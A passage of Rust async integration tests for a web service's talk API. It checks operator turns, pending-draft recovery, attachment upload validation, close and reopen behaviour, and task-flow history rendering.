9157 body["status"], "open",
9158 "filing a task does not close a talk"
9159 );
9160 let tasks = body["tasks"].as_array().expect("tasks array");
9161 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
9162 assert_eq!(tasks[0]["id"], mine.id);
9163 }
9164
9165 #[tokio::test]
9166 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
9167 let (_tmp, _repo, f) = talk_fixture().await;
9168 let id = f.post("/api/talks", None).await.json()["id"]
9169 .as_str()
9170 .expect("id")
9171 .to_owned();
9172
9173 let res = f
9174 .post(
9175 &format!("/api/talks/{id}/say"),
9176 Some(r#"{"text":"what does the queue module do?"}"#),
9177 )
9178 .await;
9179 assert_eq!(res.status, 202, "{}", res.body);
9180 let queued = res.json();
9181 let turns = queued["turns"].as_array().expect("turns array");
9182 assert_eq!(
9183 turns.len(),
9184 1,
9185 "the answer reflects only what is on disk the instant it is sent, \
9186 before the agent's turn - which can run for the whole of \
9187 `[graph] timeout_talk` - has a chance to land: {queued}"
9188 );
9189 assert_eq!(turns[0]["who"], "operator");
9190 assert_eq!(turns[0]["body"], "what does the queue module do?");
9191 assert_eq!(
9192 queued["thinking"], true,
9193 "the accepted response exposes the background turn claim: {queued}"
9194 );
9195
9196 let mut turns_after = 1;
9197 for _ in 0..SETTLE_STEPS {
9198 let detail = f.get(&format!("/api/talks/{id}")).await.json();
9199 turns_after = detail["turns"].as_array().expect("turns array").len();
9200 if turns_after == 2 {
9201 break;
9202 }
9203 tokio::time::sleep(Duration::from_millis(10)).await;
9204 }
9205 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
9206 }
9207
9208 #[tokio::test]
9235 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
9236 let tmp = TempDir::new().expect("tempdir");
9237 let repo = tmp.path().join("repo");
9238 std::fs::create_dir_all(&repo).expect("repo dir");
9239 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9240 let home = TempDir::new().expect("temp home");
9241 let talks = Talks::at(home.path().join("talks"));
9242 let ui = Arc::new(
9243 Ui::new(
9244 Queue::at(home.path().join("queue")),
9245 Questions::at(home.path().join("questions")),
9246 talks.clone(),
9247 home.path().join("runs"),
9248 home.path().to_path_buf(),
9249 repo.clone(),
9250 )
9251 .with_worktrees_root(home.path().join("wt")),
9252 );
9253 let cfg = config_for(&repo).await.expect("discover config");
9254
9255 for delay in 0..40u32 {
9256 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9257 let id = talk.id.clone();
9258
9259 let handler = tokio::spawn(talk_say(
9260 State(Arc::clone(&ui)),
9261 Path(id.clone()),
9262 Ok(Json(NewTalkTurn {
9263 text: "what does the queue module do?".to_owned(),
9264 attachments: Vec::new(),
9265 })),
9266 ));
9267 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
9268 handler.abort();
9269 let _ = handler.await;
9272
9273 let mut turns = 0;
9274 for _ in 0..SETTLE_STEPS {
9275 if let Ok(fresh) = talks.get(&id) {
9276 turns = fresh.turns.len();
9277 if turns != 1 {
9278 break;
9279 }
9280 }
9281 tokio::time::sleep(Duration::from_millis(10)).await;
9282 }
9283 assert_ne!(
9284 turns, 1,
9285 "delay {delay}: talk {id} recorded the operator's turn but \
9286 the agent never answered - the reply task was never \
9287 started after the handler future was dropped"
9288 );
9289 }
9290 }
9291
9292 #[tokio::test]
9337 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
9338 let tmp = TempDir::new().expect("tempdir");
9339 let repo = tmp.path().join("repo");
9340 std::fs::create_dir_all(&repo).expect("repo dir");
9341 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9342 let home = TempDir::new().expect("temp home");
9343 let talks = Talks::at(home.path().join("talks"));
9344 let ui = Arc::new(
9345 Ui::new(
9346 Queue::at(home.path().join("queue")),
9347 Questions::at(home.path().join("questions")),
9348 talks.clone(),
9349 home.path().join("runs"),
9350 home.path().to_path_buf(),
9351 repo.clone(),
9352 )
9353 .with_worktrees_root(home.path().join("wt")),
9354 );
9355 let cfg = config_for(&repo).await.expect("discover config");
9356
9357 for attempt in 0..3u32 {
9358 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9359 let id = talk.id.clone();
9360 let turn_guard = ui
9363 .begin_talk_turn(&id)
9364 .expect("claim the turn")
9365 .expect("a fresh talk owes nobody a turn");
9366
9367 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
9368 let (release_tx, release_rx) = std::sync::mpsc::channel();
9369 ui.set_busy_queue_gate(BusyQueueGate {
9370 reached: reached_tx,
9371 release: release_rx,
9372 });
9373
9374 let handler = tokio::spawn(talk_say(
9375 State(Arc::clone(&ui)),
9376 Path(id.clone()),
9377 Ok(Json(NewTalkTurn {
9378 text: "what does the queue module do?".to_owned(),
9379 attachments: Vec::new(),
9380 })),
9381 ));
9382
9383 tokio::time::timeout(Duration::from_secs(5), reached_rx)
9388 .await
9389 .unwrap_or_else(|_| {
9390 panic!(
9391 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
9392 )
9393 })
9394 .expect("the busy branch dropped the gate without using it");
9395
9396 let running = talks.get(&id).expect("reload talk");
9403 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
9404
9405 handler.abort();
9409 let _ = handler.await;
9410
9411 let _ = release_tx.send(());
9417
9418 let mut fresh = talks.get(&id).expect("reload talk");
9421 for _ in 0..SETTLE_STEPS {
9422 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
9423 break;
9424 }
9425 tokio::time::sleep(Duration::from_millis(10)).await;
9426 fresh = talks.get(&id).expect("reload talk");
9427 }
9428 assert!(
9429 fresh.pending.is_empty() && fresh.turns.len() == 2,
9430 "attempt {attempt}: talk {id} left the operator's text queued \
9431 with no drainer - the reclaimed turn was dropped along with \
9432 the handler future (pending {:?}, {} turns)",
9433 fresh.pending,
9434 fresh.turns.len()
9435 );
9436 }
9437 }
9438
9439 #[tokio::test]
9440 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
9441 let (_tmp, _repo, f) = talk_fixture().await;
9442 let id = f.post("/api/talks", None).await.json()["id"]
9443 .as_str()
9444 .expect("id")
9445 .to_owned();
9446 let store = f.talks();
9447 let mut recovered = store.get(&id).expect("opened talk");
9448 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9449 .expect("persist pending draft without a live turn");
9450
9451 let edited = f
9452 .post(
9453 &format!("/api/talks/{id}/pending/edit"),
9454 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
9455 )
9456 .await;
9457 assert_eq!(edited.status, 200, "{}", edited.body);
9458 assert!(edited.json()["thinking"].as_bool().unwrap());
9459
9460 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
9461 for _ in 0..SETTLE_STEPS {
9462 if detail["turns"].as_array().expect("turns").len() == 2 {
9463 break;
9464 }
9465 tokio::time::sleep(Duration::from_millis(10)).await;
9466 detail = f.get(&format!("/api/talks/{id}")).await.json();
9467 }
9468 let turns = detail["turns"].as_array().expect("turns");
9469 assert_eq!(
9470 turns.len(),
9471 2,
9472 "the recovered draft must run once: {detail}"
9473 );
9474 assert_eq!(turns[0]["body"], "corrected");
9475 assert_eq!(detail["pending"], "");
9476 }
9477
9478 #[tokio::test]
9479 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
9480 let tmp = TempDir::new().expect("tempdir");
9481 let repo = tmp.path().join("repo");
9482 std::fs::create_dir_all(&repo).expect("repo dir");
9483 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9484 let f = Fixture::with_repo(repo).await;
9485 let id = f.post("/api/talks", None).await.json()["id"]
9486 .as_str()
9487 .expect("id")
9488 .to_owned();
9489 let store = f.talks();
9490 let mut recovered = store.get(&id).expect("opened talk");
9491 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9492 .expect("persist pending draft without a live turn");
9493
9494 let refused = f
9495 .post(
9496 &format!("/api/talks/{id}/say"),
9497 Some(r#"{"text":"new message"}"#),
9498 )
9499 .await;
9500 assert_eq!(refused.status, 409, "{}", refused.body);
9501 assert!(refused.body.contains("resume"), "{}", refused.body);
9502 let saved = store.get(&id).expect("draft remains after refusal");
9503 assert!(saved.turns.is_empty());
9504 assert_eq!(saved.pending, "saved before restart");
9505
9506 let say_path = format!("/api/talks/{id}/say");
9507 let (first, second) = tokio::join!(
9508 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
9509 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
9510 );
9511 assert_eq!(first.status, 409, "{}", first.body);
9512 assert_eq!(second.status, 409, "{}", second.body);
9513 let saved = store
9514 .get(&id)
9515 .expect("draft remains after concurrent refusals");
9516 assert!(saved.turns.is_empty());
9517 assert_eq!(saved.pending, "saved before restart");
9518
9519 let resumed = f
9520 .post(&format!("/api/talks/{id}/pending/resume"), None)
9521 .await;
9522 assert_eq!(resumed.status, 202, "{}", resumed.body);
9523 let duplicate = f
9524 .post(&format!("/api/talks/{id}/pending/resume"), None)
9525 .await;
9526 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
9527
9528 for _ in 0..SETTLE_STEPS {
9529 if store.get(&id).expect("talk").turns.len() == 2 {
9530 break;
9531 }
9532 tokio::time::sleep(Duration::from_millis(10)).await;
9533 }
9534 let finished = store.get(&id).expect("finished talk");
9535 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9536 assert_eq!(finished.turns[0].body, "saved before restart");
9537 assert!(finished.pending.is_empty());
9538 }
9539
9540 #[tokio::test]
9541 async fn an_image_only_recovered_draft_resumes_without_text() {
9542 let (_tmp, _repo, f) = talk_fixture().await;
9543 let id = f.post("/api/talks", None).await.json()["id"]
9544 .as_str()
9545 .expect("id")
9546 .to_owned();
9547 let uploaded = f
9548 .post_bytes(
9549 &format!("/api/talks/{id}/attachments"),
9550 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
9551 PNG_BYTES,
9552 )
9553 .await;
9554 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9555 let attachment = f
9556 .talks()
9557 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
9558 .expect("attachment metadata")
9559 .expect("stored attachment");
9560 let store = f.talks();
9561 let mut recovered = store.get(&id).expect("opened talk");
9562 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
9563
9564 let resumed = f
9565 .post(&format!("/api/talks/{id}/pending/resume"), None)
9566 .await;
9567 assert_eq!(resumed.status, 202, "{}", resumed.body);
9568 for _ in 0..SETTLE_STEPS {
9569 if store.get(&id).expect("talk").turns.len() == 2 {
9570 break;
9571 }
9572 tokio::time::sleep(Duration::from_millis(10)).await;
9573 }
9574 let finished = store.get(&id).expect("finished talk");
9575 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9576 assert!(finished.turns[0].body.is_empty());
9577 assert_eq!(finished.turns[0].attachments.len(), 1);
9578 assert!(finished.pending_attachments.is_empty());
9579 }
9580
9581 #[tokio::test]
9582 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
9583 let (_tmp, _repo, f) = talk_fixture().await;
9584 let id = f.post("/api/talks", None).await.json()["id"]
9585 .as_str()
9586 .expect("id")
9587 .to_owned();
9588 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9589 assert_eq!(closed.status, 200, "{}", closed.body);
9590 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9591 .expect("serialize closed talk");
9592 for (path, body) in [
9593 (format!("/api/talks/{id}/pending/resume"), None),
9594 (
9595 format!("/api/talks/{id}/pending/clear"),
9596 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
9597 ),
9598 (
9599 format!("/api/talks/{id}/pending/edit"),
9600 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
9601 ),
9602 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
9603 ] {
9604 let response = f.post(&path, body).await;
9605 assert_eq!(response.status, 409, "{}", response.body);
9606 }
9607 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9608 .expect("serialize closed talk");
9609 assert_eq!(
9610 after_clear, before_clear,
9611 "clear must not rewrite a closed talk"
9612 );
9613 }
9614
9615 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
9618
9619 #[tokio::test]
9620 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
9621 let tmp = TempDir::new().expect("tempdir");
9622 let repo = tmp.path().join("repo");
9623 std::fs::create_dir_all(&repo).expect("repo dir");
9624 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9625 let f = Fixture::with_repo(repo).await;
9626 let id_a = f.post("/api/talks", None).await.json()["id"]
9627 .as_str()
9628 .unwrap()
9629 .to_owned();
9630 let id_b = f.post("/api/talks", None).await.json()["id"]
9631 .as_str()
9632 .unwrap()
9633 .to_owned();
9634
9635 let a = f
9636 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
9637 .await;
9638 assert_eq!(a.status, 202, "{}", a.body);
9639 assert_eq!(a.json()["thinking"], true);
9640 let b = f
9641 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
9642 .await;
9643 assert_eq!(b.status, 202, "{}", b.body);
9644 assert_eq!(b.json()["thinking"], true);
9645
9646 let listed = f.get("/api/talks").await.json();
9647 for id in [&id_a, &id_b] {
9648 let view = listed
9649 .as_array()
9650 .unwrap()
9651 .iter()
9652 .find(|talk| talk["id"] == *id)
9653 .unwrap();
9654 assert_eq!(view["thinking"], true, "{listed}");
9655 }
9656 let repeated = f
9657 .post(
9658 &format!("/api/talks/{id_a}/say"),
9659 Some(r#"{"text":"again"}"#),
9660 )
9661 .await;
9662 assert_eq!(repeated.status, 202, "{}", repeated.body);
9663 assert_eq!(repeated.json()["pending"], "again");
9664 }
9665
9666 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
9669
9670 #[tokio::test]
9671 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
9672 let f = Fixture::start().await;
9673 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
9674
9675 let res = f
9676 .post_bytes(
9677 &format!("/api/talks/{id}/attachments"),
9678 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9679 PNG_BYTES,
9680 )
9681 .await;
9682 assert_eq!(res.status, 201, "{}", res.body);
9683 let body = res.json();
9684 assert_eq!(body["name"], "shot.png");
9685 assert_eq!(body["mime"], "image/png");
9686 assert_eq!(body["bytes"], PNG_BYTES.len());
9687 let att_id = body["id"].as_str().expect("id").to_owned();
9688 assert_eq!(
9689 att_id.len(),
9690 32,
9691 "the id must never be a client-suppliable path: {att_id}"
9692 );
9693
9694 let got = f
9695 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
9696 .await;
9697 assert_eq!(got.status, 200, "{}", got.body);
9698 assert_eq!(got.header("content-type"), Some("image/png"));
9699 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
9700 assert_eq!(got.bytes, PNG_BYTES);
9701 }
9702
9703 #[tokio::test]
9704 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
9705 let f = Fixture::start().await;
9706 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
9707
9708 let svg = f
9711 .post_bytes(
9712 &format!("/api/talks/{id}/attachments"),
9713 &[("Content-Type", "image/svg+xml")],
9714 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
9715 )
9716 .await;
9717 assert!(
9718 (400..500).contains(&svg.status),
9719 "svg must be refused: {} {}",
9720 svg.status,
9721 svg.body
9722 );
9723 assert!(svg.body.contains("SVG"), "{}", svg.body);
9724
9725 let text = f
9726 .post_bytes(
9727 &format!("/api/talks/{id}/attachments"),
9728 &[("Content-Type", "text/plain")],
9729 b"just some text",
9730 )
9731 .await;
9732 assert!(
9733 (400..500).contains(&text.status),
9734 "an unlisted type must be refused: {} {}",
9735 text.status,
9736 text.body
9737 );
9738
9739 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
9742 let big = f
9743 .post_bytes(
9744 &format!("/api/talks/{id}/attachments"),
9745 &[("Content-Type", "image/png")],
9746 &oversized,
9747 )
9748 .await;
9749 assert_eq!(
9750 big.status,
9751 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
9752 "{}",
9753 big.body
9754 );
9755 }
9756
9757 #[tokio::test]
9758 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
9759 let f = Fixture::start().await;
9760 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
9761
9762 let res = f
9765 .post_bytes(
9766 &format!("/api/talks/{id}/attachments"),
9767 &[("Content-Type", "image/png")],
9768 b"<html>not a picture</html>",
9769 )
9770 .await;
9771 assert!((400..500).contains(&res.status), "{}", res.body);
9772 }
9773
9774 #[tokio::test]
9775 async fn an_unknown_attachment_id_is_a_404() {
9776 let f = Fixture::start().await;
9777 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
9778
9779 let res = f
9780 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
9781 .await;
9782 assert_eq!(res.status, 404, "{}", res.body);
9783 }
9784
9785 #[tokio::test]
9786 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
9787 let f = Fixture::start().await;
9788 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
9789
9790 let uploaded = f
9791 .post_bytes(
9792 &format!("/api/talks/{id}/attachments"),
9793 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9794 PNG_BYTES,
9795 )
9796 .await;
9797 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9798 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
9799
9800 let res = f
9801 .post(
9802 &format!("/api/talks/{id}/say"),
9803 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
9804 )
9805 .await;
9806 assert_eq!(res.status, 202, "{}", res.body);
9807 let queued = res.json();
9808 let turns = queued["turns"].as_array().expect("turns array");
9809 assert_eq!(
9810 turns.len(),
9811 1,
9812 "an empty body with an attachment is still a turn: {queued}"
9813 );
9814 assert_eq!(turns[0]["who"], "operator");
9815 assert_eq!(turns[0]["body"], "");
9816 let atts = turns[0]["attachments"]
9817 .as_array()
9818 .expect("attachments array");
9819 assert_eq!(atts.len(), 1);
9820 assert_eq!(atts[0]["id"], att_id);
9821 assert_eq!(atts[0]["mime"], "image/png");
9822
9823 let on_disk = f.talks().get(&id).expect("get");
9826 assert_eq!(on_disk.turns[0].attachments.len(), 1);
9827 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
9828 }
9829
9830 #[tokio::test]
9831 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
9832 let f = Fixture::start().await;
9833 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
9834
9835 let res = f
9836 .post(
9837 &format!("/api/talks/{id}/say"),
9838 Some(&format!(
9839 r#"{{"text":"hi","attachments":["{}"]}}"#,
9840 "a".repeat(32)
9841 )),
9842 )
9843 .await;
9844 assert!((400..500).contains(&res.status), "{}", res.body);
9845 assert!(res.body.contains("unknown attachment"), "{}", res.body);
9846
9847 let on_disk = f.talks().get(&id).expect("get");
9848 assert!(
9849 on_disk.turns.is_empty(),
9850 "a rejected attachment id must not partially record the turn: {:?}",
9851 on_disk.turns
9852 );
9853 }
9854
9855 #[tokio::test]
9856 async fn talk_close_makes_the_talk_refuse_further_turns() {
9857 let f = Fixture::start().await;
9858 let id = seed_talk(&f, "20260904-014455-cd34", "open");
9859
9860 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9861 assert_eq!(closed.status, 200, "{}", closed.body);
9862 assert_eq!(closed.json()["status"], "closed");
9863
9864 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
9866 assert_eq!(closed_again.status, 200);
9867 assert_eq!(closed_again.json()["status"], "closed");
9868
9869 let said = f
9870 .post(
9871 &format!("/api/talks/{id}/say"),
9872 Some(r#"{"text":"too late"}"#),
9873 )
9874 .await;
9875 assert_eq!(said.status, 409, "{}", said.body);
9876 }
9877
9878 #[tokio::test]
9879 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
9880 let (_tmp, _repo, f) = talk_fixture().await;
9881 let id = f.post("/api/talks", None).await.json()["id"]
9882 .as_str()
9883 .expect("id")
9884 .to_owned();
9885 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9886 assert_eq!(closed.status, 200, "{}", closed.body);
9887
9888 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9889 assert_eq!(reopened.status, 200, "{}", reopened.body);
9890 assert_eq!(reopened.json()["status"], "open");
9891
9892 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9894 assert_eq!(reopened_again.status, 200);
9895 assert_eq!(reopened_again.json()["status"], "open");
9896
9897 let said = f
9898 .post(
9899 &format!("/api/talks/{id}/say"),
9900 Some(r#"{"text":"still there?"}"#),
9901 )
9902 .await;
9903 assert_eq!(
9904 said.status, 202,
9905 "a reopened talk accepts turns again: {}",
9906 said.body
9907 );
9908 }
9909
9910 #[tokio::test]
9911 async fn talk_reopen_on_an_unknown_id_is_404() {
9912 let f = Fixture::start().await;
9913 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
9914 assert_eq!(res.status, 404, "{}", res.body);
9915 }
9916
9917 #[tokio::test]
9918 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
9919 let f = Fixture::start().await;
9920 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
9921
9922 let deleted = f.delete(&format!("/api/talks/{id}")).await;
9923 assert_eq!(deleted.status, 204, "{}", deleted.body);
9924
9925 let after = f.get(&format!("/api/talks/{id}")).await;
9926 assert_eq!(after.status, 404, "{}", after.body);
9927
9928 let listed = f.get("/api/talks").await.json();
9929 assert!(
9930 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
9931 "a deleted talk must not linger in the list: {listed}"
9932 );
9933 }
9934
9935 #[tokio::test]
9936 async fn talk_delete_on_an_unknown_id_is_404() {
9937 let f = Fixture::start().await;
9938 let res = f.delete("/api/talks/nonexistent-id").await;
9939 assert_eq!(res.status, 404, "{}", res.body);
9940 }
9941
9942 #[tokio::test]
9946 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
9947 let f = Fixture::start().await;
9948 let (a, b, gone) = (
9949 "20260902-140501-aaaa",
9950 "20260902-140502-bbbb",
9951 "20260902-140503-cccc",
9952 );
9953 write_run(&f.runs(), a, RunStatus::Stalled);
9954 let mut review = RunState::new(
9955 PathBuf::from("/repo/magi"),
9956 "main".to_owned(),
9957 "0123456789abcdef".to_owned(),
9958 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
9959 .to_owned(),
9960 Config::default(),
9961 );
9962 review.id = b.to_owned();
9963 review.status = RunStatus::Merged;
9964 write_state(&f.runs(), &review);
9965
9966 let mut task = Task::new(
9967 "retry".to_owned(),
9968 "Do the thing".to_owned(),
9969 PathBuf::from("/repo/magi"),
9970 Source::Human,
9971 );
9972 task.start(a.to_owned());
9973 task.stall("quota");
9974 task.start(a.to_owned());
9975 task.start(b.to_owned());
9976 task.start(gone.to_owned());
9977 f.queue().put(&mut task).expect("file the task");
9978
9979 let res = f.get(&format!("/api/queue/{}", task.id)).await;
9980 assert_eq!(res.status, 200, "{}", res.body);
9981 let v = res.json();
9982 let h = v["history"].as_array().expect("history");
9983 assert_eq!(h.len(), 4, "{v}");
9984 assert_eq!(h[0]["kind"], "competition");
9985 assert_eq!(h[0]["status"], "stalled");
9986 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
9987 assert_eq!(h[1]["kind"], "resume", "{v}");
9988 assert!(
9989 h[0]["outcome"]
9990 .as_str()
9991 .unwrap()
9992 .contains("unknown. Pass #2"),
9993 "an earlier pass of a resumed run must not claim the final outcome: {v}"
9994 );
9995 assert!(
9996 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
9997 "{v}"
9998 );
9999 assert!(
10000 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
10001 "an unrecorded cause must not be narrated as an operator park: {v}"
10002 );
10003 assert_eq!(h[2]["kind"], "review");
10004 assert!(
10005 h[2]["description"]
10006 .as_str()
10007 .unwrap()
10008 .contains("magi/aaaa/A")
10009 );
10010 assert_eq!(h[2]["status"], "merged");
10011 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
10012 assert_eq!(v["runs_unreadable"], 1);
10013 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
10014 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
10015 assert_eq!(nodes[4]["note"], "unreadable");
10016 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
10017 assert_eq!(v["instruction"], "Do the thing");
10018 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
10019
10020 let run = f.get(&format!("/api/runs/{a}")).await.json();
10022 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
10023
10024 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
10025 }
10026
10027 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
10028 let mut s = RunState::new(
10029 PathBuf::from("/repo/magi"),
10030 "main".to_owned(),
10031 "0123456789abcdef".to_owned(),
10032 "Do it".to_owned(),
10033 Config::default(),
10034 );
10035 s.status = status;
10036 edit(&mut s);
10037 s
10038 }
10039
10040 fn flow_task(runs: &[&str]) -> Task {
10041 let mut t = Task::new(
10042 "t".to_owned(),
10043 "Do it".to_owned(),
10044 PathBuf::from("/repo/magi"),
10045 Source::Human,
10046 );
10047 for r in runs {
10048 t.start((*r).to_owned());
10049 }
10050 t
10051 }
10052
10053 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
10054 let h = task_history(task, |id| {
10055 states
10056 .iter()
10057 .find(|(i, _)| *i == id)
10058 .and_then(|(_, s)| s.clone())
10059 });
10060 task_flow(task, &h, 5)
10061 }
10062
10063 #[test]
10064 fn flow_opens_with_the_chat_that_queued_the_task() {
10065 let mut t = flow_task(&[]);
10066 t.source = Source::Agent {
10067 run: "a b/c".to_owned(),
10068 node: crate::queue::CHAT_NODE.to_owned(),
10069 };
10070 let f = flow_for(&t, &[]);
10071 assert_eq!(f.nodes[0].key, "chat");
10072 assert_eq!(f.nodes[0].kind, "chat");
10073 assert_eq!(
10074 f.nodes[0].label,
10075 format!("Chat {}", crate::queue::short("a b/c"))
10076 );
10077 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
10078 assert_eq!(f.nodes[1].key, "start");
10079 assert_eq!(
10080 f.edges[0],
10081 FlowEdge {
10082 from: "chat".to_owned(),
10083 to: "start".to_owned(),
10084 label: "queued from chat".to_owned(),
10085 attempt: AttemptCost::None,
10086 }
10087 );
10088 }
10089
10090 #[test]
10091 fn flow_has_no_chat_box_for_other_sources() {
10092 for source in [
10093 Source::Human,
10094 Source::Issue {
10095 number: 3,
10096 repo: "o/r".to_owned(),
10097 },
10098 Source::Agent {
10099 run: "20260904-014455-ab12".to_owned(),
10100 node: "implement".to_owned(),
10101 },
10102 ] {
10103 let mut t = flow_task(&[]);
10104 t.source = source;
10105 let f = flow_for(&t, &[]);
10106 assert_eq!(f.nodes[0].key, "start");
10107 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
10108 assert!(f.edges.iter().all(|e| e.from != "chat"));
10109 }
10110 }
10111
10112 const FA: &str = "20260902-140501-aaaa";
10113 const FB: &str = "20260902-140502-bbbb";
10114
10115 #[test]
10116 fn flow_follows_blocked_retry_merged_to_done() {
10117 let mut t = flow_task(&[FA, FB]);
10118 t.status = TaskStatus::Done;
10119 let f = flow_for(
10120 &t,
10121 &[
10122 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
10123 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
10124 ],
10125 );
10126 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
10127 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
10128 assert_eq!(f.edges.len(), 3);
10129 assert_eq!(f.edges[0].label, "claimed");
10130 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
10131 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10132 assert_eq!(f.edges[2].label, "merged \u{2192} done");
10133 assert_eq!(
10134 f.nodes[2].href.as_deref(),
10135 Some("#/runs/20260902-140502-bbbb")
10136 );
10137 assert!(f.nodes[2].decided);
10138 }
10139
10140 #[test]
10141 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
10142 let quota = || {
10143 flow_run(RunStatus::Stalled, |s| {
10144 s.quota.push(crate::run::QuotaLoss {
10145 seat: "judge-1".to_owned(),
10146 node: "judge".to_owned(),
10147 at: Timestamp::now(),
10148 reset: None,
10149 })
10150 })
10151 };
10152 let mut t = flow_task(&[FA, FA]);
10153 t.status = TaskStatus::Queued;
10154 let f = flow_for(&t, &[(FA, Some(quota()))]);
10155 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
10156 assert_eq!(f.nodes[1].note, Some("interrupted"));
10157 assert_eq!(
10158 f.nodes[1].status, None,
10159 "no outcome copied onto an earlier pass"
10160 );
10161 assert_eq!(
10162 f.edges[1].attempt,
10163 AttemptCost::Unknown,
